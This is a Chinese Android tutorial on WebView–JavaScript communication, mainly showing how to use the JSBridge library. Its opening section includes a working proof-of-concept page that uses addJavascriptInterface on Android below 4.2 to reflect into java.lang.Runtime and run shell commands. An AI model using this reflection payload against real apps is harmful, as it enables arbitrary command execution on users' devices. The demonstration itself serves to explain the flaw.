前言
上一篇主要讲述了Android中WebView的使用和注意事项，本文将继续延伸WebView的使用，将介绍原生APP如何通过WebView和H5、JS通信交互。由于Android中WebView在4.2系统以下存在安全漏洞，本文将借助开源库JSBridge来完成两者的通讯。
1、Android4.2以下漏洞验证案例
1、先定义一个JavascriptInterface
public class AndroidToJs {
private WeakReference<MainActivity> mWeakReference;
public AndroidToJs(MainActivity activity) {
mWeakReference = new WeakReference<>(activity);
}
/**
* 定义JS需要调用的方法
* 被JS调用的方法必须加入@JavascriptInterface注解
*
* @param msg
*/
@JavascriptInterface
public String hello(final String msg) {
Toast.makeText(mWeakReference.get(), msg, Toast.LENGTH_SHORT).show();
mWeakReference.get().runOnUiThread(new Runnable() {
@Override
public void run() {
((TextView) mWeakReference.get().findViewById(R.id.mTvJsMsg)).setText(msg);
}
});
return "来自Android的回应";
}
}
2、再将Interface通过addJavaScriptInterface添加到WebView
webSettings.javaScriptEnabled = true
// 设置允许JS弹窗
webSettings.javaScriptCanOpenWindowsAutomatically = true
mWebView.addJavascriptInterface(AndroidToJs(this), "test")
3、可以看到在Javascript中就可以通过查找window属性中的JInterface对象，然后反射执行一些攻击了，例如下面的例子通过反射Android中的Runtime类在应用中执行shell脚本。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="GBK">
<title>Title</title>
<script>
function testInjectBug(){
var p = execute(["ls","/"]);
console.log(convertStreamToString(p.getInputStream()));
}
function execute(cmdArgs) {
for (var obj in window) {
if ("getClass" in window[obj]) {
console.log("find:"+obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
function convertStreamToString(inputStream) {
var result = "";
var i = inputStream.read();
while(i != -1) {
var tmp = String.fromCharCode(i);
result += tmp;
i = inputStream.read();
}
return result;
}
</script>
</head>
<body>
<button type="button" onclick="testInjectBug()">Bug</button>
</body>
</html>
2、开源库JSBridge的使用
2.1、dependencies依赖
repositories {
// ...
maven { url "https://jitpack.io" }
}
dependencies {
compile 'com.github.lzyzsd:jsbridge:1.0.4'
}
2.2、使用BridgeWebView替代WebView进行布局
<com.github.lzyzsd.jsbridge.BridgeWebView
android:id="@+id/webView"
android:layout_width="match_parent"
android:layout_height="match_parent" >
</com.github.lzyzsd.jsbridge.BridgeWebView>
2.3、Java提供方法给JS调用
1、Java端注册一个方法
webView.registerHandler("submitFromWeb", new BridgeHandler() {
@Override
public void handler(String data, CallBackFunction function) {
Log.i(TAG, "handler = submitFromWeb, data from web = " + data);
function.onCallBack("submitFromWeb exe, response data from Java");
}
});
2、JS端调用该方法
WebViewJavascriptBridge.callHandler(
'submitFromWeb'
, {'param': str1}
, function(responseData) {
document.getElementById("show").innerHTML = "send get responseData from java, data = " + responseData
}
);
注意：Java端注册方法时，其中一个参数handlerName为submitFromWeb，在JS中调用时也需要传递相同的参数submitFromWeb;
JS传递给Java端的参数，可以在Java端的handler(String data, CallBackFunction function)中的data获取，数据处理完毕后，也可调用function.onCallBack()把结果返回给JS
3、为了简单方便，Java端也可以直接设置一个Handler，那么两边就可以不用规定参数handlerName
//Java端设置handler
webView.setDefaultHandler(new DefaultHandler(){
@Override
public void handler(String data, CallBackFunction function) {
}
});
//JS端发送消息
window.WebViewJavascriptBridge.send(
data
, function(responseData) {
document.getElementById("show").innerHTML = "repsonseData from java, data = " + responseData
}
);
2.4、Java端调用JS代码
1、和上面Java端注册类似，JS端也要先注册一个方法,同样需要一样的 handlerName
//JS端
WebViewJavascriptBridge.registerHandler("functionInJs", function(data, responseCallback) {
document.getElementById("show").innerHTML = ("data from Java: = " + data);
var responseData = "Javascript Says Right back aka!";
responseCallback(responseData);
});
2、Java端调用该方法
webView.callHandler("functionInJs", new Gson().toJson(user), new CallBackFunction() {
@Override
public void onCallBack(String data) {
}
});
3、同上面类似，JS也可以通过bridge.init(function(message, responseCallback)来设置默认的消息处理，那么两边就可以不用规定参数handlerName
//JS监听Java端的消息
bridge.init(function(message, responseCallback) {
console.log('JS got a message', message);
var data = {
'Javascript Responds': 'Wee!'
};
console.log('JS responding with', data);
responseCallback(data);
});
//java端发送消息
webView.send("hello");
2.5、注意
该库会向JS中的window对象中注入WebViewJavascriptBridge对象，所以在js中，在使用WebViewJavascriptBridge之前，必须检测WebViewJavascriptBridge是否存在。如果WebViewJavascriptBridge未退出，则可以侦听WebViewJavascriptBridgeReady事件
if (window.WebViewJavascriptBridge) {
//do your work here
} else {
document.addEventListener(
'WebViewJavascriptBridgeReady'
, function() {
//do your work here
},
false
);
}
